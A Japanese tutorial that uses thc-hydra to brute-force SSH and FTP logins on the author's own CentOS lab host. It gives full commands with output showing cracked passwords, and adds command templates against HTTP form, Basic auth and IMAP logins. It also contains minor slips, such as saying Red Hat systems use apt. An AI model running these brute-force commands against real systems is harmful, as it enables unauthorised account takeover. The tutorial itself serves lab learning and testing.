はじめに
今回は、thc-hydraを使用して、SSHとFTPの認証に対してブルートフォース攻撃を試しめみる。
hydraは、パスワードクラックツールであり、以下のプロトコルに対応している。
Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-POST, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTPS-POST, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, RTSP, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP
インストール
Macの場合は、以下でインストールすることができる。
% brew install hydra
Red Hat系の場合は、apt でインストールすることができる。
% sudo apt install hydra
また、これらもインストールする。
% sudo apt install -y libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev
使用方法
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]
Options:
-
-l LOGIN or -L FILE
ログイン名、またはログイン名のリストファイル -
-p PASS or -P FILE
試すパスワード、またはパスワードリストファイル -
-C FILE
-L/-P オプションの代わりにコロン区切りの書式(login:pass)を利用する。 -
-M FILE
攻撃するサーバのリスト
':' でポートを指定できる。 -
-t TASKS
1ターゲットに対する並列に処理するタスク数(デフォルトは16) -
-U
service module usage details
モジュールの詳細な使い方表示 -
-h
ヘルプ表示 -
server
ターゲットのドメイン名、IPまたは、IPレンジ(このオプションか -M オプションを使用する) -
service
攻撃を試みるサービスを指定する -
OPT
いくつかのモジュールがサポートしている追加の入力(-U オプションで詳細表示)
また、この他にも、総当りの文字を作成し、攻撃する "-x" オプションが存在する。
x オプションの書式は以下になる。
-x 最短長:最大長:charset
また、charset は以下が指定できる。
charset | 説明 |
---|---|
a | 小文字 |
A | 大文字 |
1 | 数字 |
上記の他に文字を指定した場合は、その文字を使用する。
例 | 説明 |
---|---|
-x 1:3:a | 小文字の1から3文字のパスワードを生成する |
-x 3:3:@$% | @$%の3つの文字で、3文字のパスワードを生成する |
-x 2:4:A1 | 大文字と数字で2から4文字のパスワードを生成する |
パスワードリストを用意する
パスワードリストは、インターネットでテキトーに検索して手に入れるか、もしくは、Linuxにもともとあるリストを使用することもできる。
パスワードリストは、以下のディレクトリに格納されている。
/usr/share/dict
SSHを攻撃してみる
環境
今回の攻撃対象の環境は以下になる。
- CentOS7
- OpenSSH_7.4p1, OpenSSL 1.0.2k-fips
- SSHの設定はデフォルト
- IPアドレスは、10.0.2.5
また、SSHのユーザとパスワードは以下に設定した。
User Name : sshuser
Password : mickey
パスワードリストの用意
以下のパスワードリストを password.txt として保存する。
ashley
6969
nicole
mickey
chelsea
biteme
matthew
また、以下からパスワードリストをダウンロードする。
(このファイルの134行目に mickey が記述されている)
% wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/10_million_password_list_top_1000.txt
辞書攻撃を実行する
% hydra -l sshuser -P password.txt ssh://10.0.2.5
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2017-10-23 14:15:16
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 7 tasks per 1 server, overall 64 tasks, 7 login tries (l:1/p:7), ~0 tries per task
[DATA] attacking service ssh on port 22
[22][ssh] host: 10.0.2.5 login: sshuser password: mickey
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2017-10-23 14:15:19
攻撃が成功して、パスワードが mickey であることがわかった。
次に、10_million_password_list_top_1000.txt を使用して攻撃してみる。
% hydra -l sshuser -P 10_million_password_list_top_1000.txt ssh://10.0.2.5
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2017-10-23 14:16:55
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 64 tasks, 1000 login tries (l:1/p:1000), ~0 tries per task
[DATA] attacking service ssh on port 22
[STATUS] 163.00 tries/min, 163 tries in 00:01h, 837 todo in 00:06h, 16 active
[STATUS] 118.33 tries/min, 355 tries in 00:03h, 645 todo in 00:06h, 16 active
[STATUS] 105.57 tries/min, 739 tries in 00:07h, 261 todo in 00:03h, 16 active
[STATUS] attack finished for 10.0.2.5 (waiting for children to finish) ...
1 of 1 target completed, 0 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2017-10-23 14:26:54
パスワードリストに正解のパスワードがあるはずなのに、失敗した。
なぜだろうか。
これは以下2つの設定が原因だと判明した。
- sshd_config の MaxAuthTries オプション(デフォルトでは6)
- hydra のタスク数(デフォルトでは16)
前者の MaxAuthTries は、一回の接続での試行回数制限である。
デフォルトの設定の場合、一回の接続で 6 回までパスワードを間違えられる。
そして問題は、後者の hydra である。
どうやら hydra は、ひとつのタスクごとに接続は一回しで、一回の接続で何回も総当りをするらしい。
となると、一タスクあたり6回までしかパスワードを試せないことになる。
今回、16タスクで行ったので、正解のパスワードが 96 行以内に入っていないと、解析失敗という表示が出る。
また、この表示も問題で、本当にパスワードがリストになかったからか、上記の問題でサーバから認証を拒否されたからか、どちらかがわからない。
これは「-t」オプションを使用することで解決することができる。
FTPを攻撃してみる
環境
- CentOS7
- vsftpd: version 3.0.2
- ftpの設定はデフォルト
- IPアドレスは、10.0.2.5
また、SSHのユーザとパスワードは以下に設定した。
User Name : ftpuser
Password : elvis
リストの作成
今回は、以下のユーザリストを作成し、user.txt という名前で保存する。
sshuser
ftpuser
また、パスワードリストは、先ほど使用した 10_million_password_list_top_1000.txt を使用する。
辞書攻撃を実行する
ユーザリストファイルとパスワードリストファイルを指定して実行する。
% hydra -L user.txt -P 10_million_password_list_top_1000.txt ftp://10.0.2.5
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2017-10-23 14:43:57
[DATA] max 16 tasks per 1 server, overall 64 tasks, 2000 login tries (l:2/p:1000), ~1 try per task
[DATA] attacking service ftp on port 21
[21][ftp] host: 10.0.2.5 login: sshuser password: mickey
[STATUS] 1187.00 tries/min, 1187 tries in 00:01h, 813 todo in 00:01h, 16 active
[STATUS] 753.50 tries/min, 1507 tries in 00:02h, 493 todo in 00:01h, 16 active
[STATUS] 605.67 tries/min, 1817 tries in 00:03h, 183 todo in 00:01h, 16 active
[21][ftp] host: 10.0.2.5 login: ftpuser password: elvis
1 of 1 target successfully completed, 2 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2017-10-23 14:47:20
SSHと違い制限がないので、sshuser と ftpuser のパスワードが判明した。
総当り攻撃を実行する
今回は、パスワードが先ほどの "elvis" だとかなり時間がかかるので、パスワードを "626" に変更して実施する。
% hydra -l ftpuser -x 1:3:1 ftp://10.0.2.5
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2017-10-23 15:14:17
[WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort...
[DATA] max 16 tasks per 1 server, overall 64 tasks, 1110 login tries (l:1/p:1110), ~1 try per task
[DATA] attacking service ftp on port 21
[STATUS] 320.00 tries/min, 320 tries in 00:01h, 790 todo in 00:03h, 16 active
[21][ftp] host: 10.0.2.5 login: ftpuser password: 626
パスワードを解読することができた。
他プロトコルの例
Basic / Digest
hydra -L username.list -P password.list -V -ensr 192.168.1.1 http-get /index.html
HTTP Form
http[s]-post-form 'パス:ユーザ名=^USER^&パスワード=^PASS^:ログイン失敗文字列'
hydra -L username.list -P password.list -V -ensr -s 4430 192.168.254.254 https-post-form '/system/login.php:name=^USER^&password=^PASS^:Login'
IMAP
hydra -L username.list -P password.list -t4 -V -ensr imap://192.168.254.254
0件のコメント